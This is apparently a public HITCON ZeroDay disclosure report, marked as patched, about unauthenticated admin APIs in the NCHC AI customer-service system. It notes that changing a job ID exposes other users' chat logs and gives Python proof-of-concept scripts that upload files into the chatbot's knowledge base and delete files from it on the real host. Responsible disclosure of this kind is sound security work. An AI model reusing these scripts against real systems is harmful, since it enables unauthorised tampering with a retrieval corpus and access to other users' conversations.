Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00615
- Vendor: 國家高速網路與計算中心
- Title: 國家高速網路與計算中心AI客服後台未授權存取漏洞與API權限控管漏洞
- Introduction: AI客服後台管理介面未授權存取漏洞、 API 未進行身份驗證與權限控管漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/04/30 23:30:02 : 新提交 (由 鄉民 更新此狀態)
- 2026/04/30 23:33:36 : 新提交 (由 鄉民 更新此狀態)
- 2026/04/30 23:37:09 : 新提交 (由 鄉民 更新此狀態)
- 2026/05/01 00:09:24 : 新提交 (由 鄉民 更新此狀態)
- 2026/05/02 17:54:05 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:33:47 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:33:47 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:33:48 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/25 08:57:26 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/06/25 09:21:21 : 確認已修補 (由 鄉民 更新此狀態)
- 2026/06/29 03:00:15 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00615
- 通報者:鄉民
- 風險:嚴重
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
相關網址
https://shareqa.td.nchc.org.tw/SG_GAI_Core/front_corpus.html
發現API如下:
1."/api/estinetAIManager/admin/qaDatabase/config”
2.“/api/estinetAIManager/sql_api/db/list”
3.“/api/estinetAIManager/sql_api/db/file”
4."/api/estinetAIManager/qaDatabase/__TABLE__/__ID__"
5.“/api/estinetAIManager/sql_api/db/check”
6.“/api/estinetAIManager/job/${jobId}/result”
7.“/api/estinetAIManager/qaDatabase/${encodeURIComponent(currentTableId)}/import”
敘述
國網中心ShareQA服務漏洞
國網中心AI RAP平台https://rap.genai.nchc.org.tw/ 右下角紅色機器人
由https://shareqa.td.nchc.org.tw/SG_GAI_Core/static/nchc/widget.min.js 嵌入
因為ShareQA本身存在透過修改jobid可獲得其他人對話紀錄,因此對此深入搜索。
發現https://shareqa.td.nchc.org.tw/SG_GAI_Core/header.html 該路徑並未進行權限管理,可進入後台,進入後發現https://shareqa.td.nchc.org.tw/SG_GAI_Core/front_corpus.html 路徑下有許多API,
例如:/api/estinetAIManager/admin/qaDatabase/config, 可直接https://shareqa.td.nchc.org.tw/api/estinetAIManager/admin/qaDatabase/config得到回應。
發現API如下:
1."/api/estinetAIManager/admin/qaDatabase/config”
2.“/api/estinetAIManager/sql_api/db/list”
3.“/api/estinetAIManager/sql_api/db/file”
4."/api/estinetAIManager/qaDatabase/TABLE/ID"
5.“/api/estinetAIManager/sql_api/db/check”
6.“/api/estinetAIManager/job/${jobId}/result”
7.“/api/estinetAIManager/qaDatabase/${encodeURIComponent(currentTableId)}/import”
透過第1個API可以獲得tableId代表資料表編號,第2個API可以獲得file_id代表哪一個檔案,將兩個數字帶入第4個API,目前測試該系統的DELETE METHOD似乎都無法執行了。
測試將檔案上傳,成功上傳,程式碼如下:
上傳MD檔(無法上傳空白的MD檔,需要上傳有資料的MD檔)
import time
import os
# 設定主機位址
BASE_URL = "https://shareqa.td.nchc.org.tw"
def upload_to_qa_db(table_id, file_path):
if not os.path.exists(file_path):
print(f"找不到檔案: {file_path}")
return
import_url = f"{BASE_URL}/api/estinetAIManager/qaDatabase/{table_id}/import"
print(f"開始上傳檔案: {file_path} (目標資料庫: {table_id})")
try:
# 使用 multipart/form-data 格式上傳
with open(file_path, 'rb') as f:
files = {'file': (os.path.basename(file_path), f)}
response = requests.post(import_url, files=files)
response.raise_for_status()
# 取得回傳的 jobId
job_id = response.text.strip()
print(f"檔案傳輸成功,取得 Job ID: {job_id}")
except requests.exceptions.RequestException as e:
print(f"API 請求失敗: {e}")
return
# 2. 輪詢 Job 狀態直到完成
print("等待後端解析語料中...")
poll_url = f"{BASE_URL}/api/estinetAIManager/job/{job_id}/result"
while True:
try:
res = requests.get(poll_url)
if res.status_code == 200:
data = res.json()
state = data.get("state")
if state == "finished":
if data.get("result") == True:
print("處理完成!檔案已成功匯入並建立索引。")
else:
print("處理完成,但匯入結果為失敗 (result: false)。")
break
else:
print(f"目前狀態: {state},處理中...")
else:
print(f" 等待回應中 (HTTP Status: {res.status_code})...")
except Exception as e:
print(f"檢查狀態時發生連線錯誤: {e}")
time.sleep(2)
if __name__ == "__main__":
TARGET_TABLE_ID = "39"
# 替換成要上傳的檔案路徑
FILE_TO_UPLOAD = "TEST.md"
upload_to_qa_db(TARGET_TABLE_ID, FILE_TO_UPLOAD)
刪除功能 (目前已被關閉)
import urllib.parse
BASE_URL = "https://shareqa.td.nchc.org.tw"
def delete_single_file(table_id, file_id):
safe_file_id = urllib.parse.quote(file_id)
delete_url = f"{BASE_URL}/api/estinetAIManager/qaDatabase/{table_id}/{safe_file_id}"
print(f"準備刪除檔案: {file_id} (資料庫: {table_id})")
try:
# 發送 DELETE 請求
response = requests.delete(delete_url)
# 檢查 HTTP 狀態碼
if response.status_code == 200:
print(f"檔案 {file_id} 刪除成功!")
else:
print(f"刪除失敗,伺服器回傳狀態碼: {response.status_code}")
print(f"回應內容: {response.text}")
except requests.exceptions.RequestException as e:
print(f"API 請求發生錯誤: {e}")
if __name__ == "__main__":
TARGET_TABLE_ID = "39"
#file_id從https://shareqa.td.nchc.org.tw/api/estinetAIManager/sql_api/db/list取得
FILE_TO_DELETE = "1777531988.608858"
delete_single_file(TARGET_TABLE_ID, FILE_TO_DELETE)
print("-" * 40)
修補建議
建議使用Web框架進行開發。